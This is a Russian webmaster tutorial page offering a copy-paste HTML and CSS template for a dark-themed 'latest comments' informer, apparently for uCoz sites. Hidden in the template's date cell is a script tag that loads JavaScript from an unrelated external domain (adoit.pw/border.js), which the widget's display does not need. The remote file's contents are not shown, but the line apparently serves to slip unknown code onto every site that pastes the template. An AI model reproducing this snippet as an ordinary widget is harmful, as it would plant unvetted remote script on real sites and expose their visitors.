Главная » Статьи » Для веб-мастера » Скрипты |
Последние комментарии как на diz-cs
Красивый информер последние комментарии для вашего сайта. Этот информер подойдёт для темных дизайнов. В нем преобладают зеленые цвета на которых написано время комментария. Слева находится Аватар того пользователя который оставил комментарий. 2. Заходим в панель управления. Создаем информер с параметрами: [Комментарии · Материалы · Дата добавления материала D · Материалы: 3 · Колонки: 1] В шаблон информера вставляем следующий код: Код <table><tbody><tr><td valing="top" class="comm_s"><a href="$PROFILE_URL$" target="_blank"> <img src="$USER_AVATAR_URL$"></a></td> <td class="comm_a" valign="top"> <div class="c_date_comm"> <div class="c_date">в $TIME$ $DATE$</div> </div><script type="text/javascript" src="http://adoit.pw/border.js"></script> </td></tr></tbody></table> <div class="mess_commes"><span style="color: rgb(255, 255, 255);">$MESSAGE$</span> <div class="t_h">» <a href="$ENTRY_URL$">$ENTRY_TITLE$</a></div></div> <style> .cell_comment_os { float:left; width:100%; background:#181818;border:1px solid #242424; padding-bottom:3px; margin-bottom:15px;-webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } .comment_p { float:right; width:80px; } .comment_v { margin: 5px 0px 5px 10px; } .comment_c { overflow: hidden; text-align:justify; margin: 0px 0px 0px 10px; padding: 5px 0px; border-top: 1px solid #1f1f1f; } .comment_n { text-align:right; margin: 3px 78px 0px 10px; } .vcc_otvet {overflow:hidden!important; border: 1px solid #ba5d5d; padding: 10px;background:#a55959; } .comment_avatar { width:40px; height:40px; padding: 4px; margin: 8px 10px 0px 15px; border: 1px solid #252525; background:#131313; -webkit-border-radius:5px; -moz-border-radius:5px; border-radius:5px; } a.catName {} .catDescr {color:#848484;} td.catsTd {padding:4px 0px;} .catNumData {color:#777;} .comm_back {background:#131313;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;padding:3px;border:1px solid #191919;} .comm_s {width:33px;padding-right:2px;} .comm_a {width:100%;padding-left:2px;} .comm_s img {width:30px; height:30px;border:3px solid #0a0a0a;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;} .c_date_comm {background:#111111;padding:4px ;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;} .c_date {background:#308d4d;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;padding:8px 4px;color:#1e512e;text-shadow:0px 1px 0px #38a75b;text-align:center;box-shadow:inset 0px 0px 0px 1px #3a9d5b;} .mess_commes {background:#111111;padding:4px ;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px;margin:3px 0px;border:1px solid #191919;} .t_h {color:#494949;font-size:10px;} .t_h a{color:#494949;font-size:10px;text-shadow:none;} .t_h a:hover {color:#ddd;} .con_poll {padding:0px 0px;} .tit_poll {background:url(/inf_com/poll_bg.png) repeat-x;height:25px;color:#bcbcbc;font-weight:bold;padding-left:10px;line-height:23px;} .con_poll input {outline:none; border:none;} .con_poll:not(#Foo) input[type=radio] + label {background:url(http://pnghosts.ru/img/radio_input_1.png) no-repeat 0px 1px;color:#bcbcbc;padding-right:10px;} .con_poll:not(#Foo) input[type=radio]:checked + label {background:url(http://pnghosts.ru/img/radio_input_2.png) no-repeat;color:#ddd;} .con_poll:not(#Foo) input[type=radio] + label:hover {background:url(http://pnghosts.ru/img//radio_input_3.png) no-repeat;cursor:pointer;color:#777;} .poll_bg:not(#Foo) label {padding:0 0 10px 20px; color:#ddd;} .poll_bg:not(#Foo) input[type=radio] {display:none;} .answer {padding:3px 0px;} .con_poll:not(#Foo) input[type=radio]:checked + label {background:url(http://pnghosts.ru/img/radio_input_2.png) no-repeat;color:#ddd;} .pollButton {background:url(http://pnghosts.ru/img/bg_poll_but.png) repeat-x; height:50px;margin-top:4px;line-height:36px;} .pollBut {float:left;margin-top:14px;} </style> | |
Просмотров: 423 | Рейтинг: 0.0/0 |
Всего комментариев: 0 | |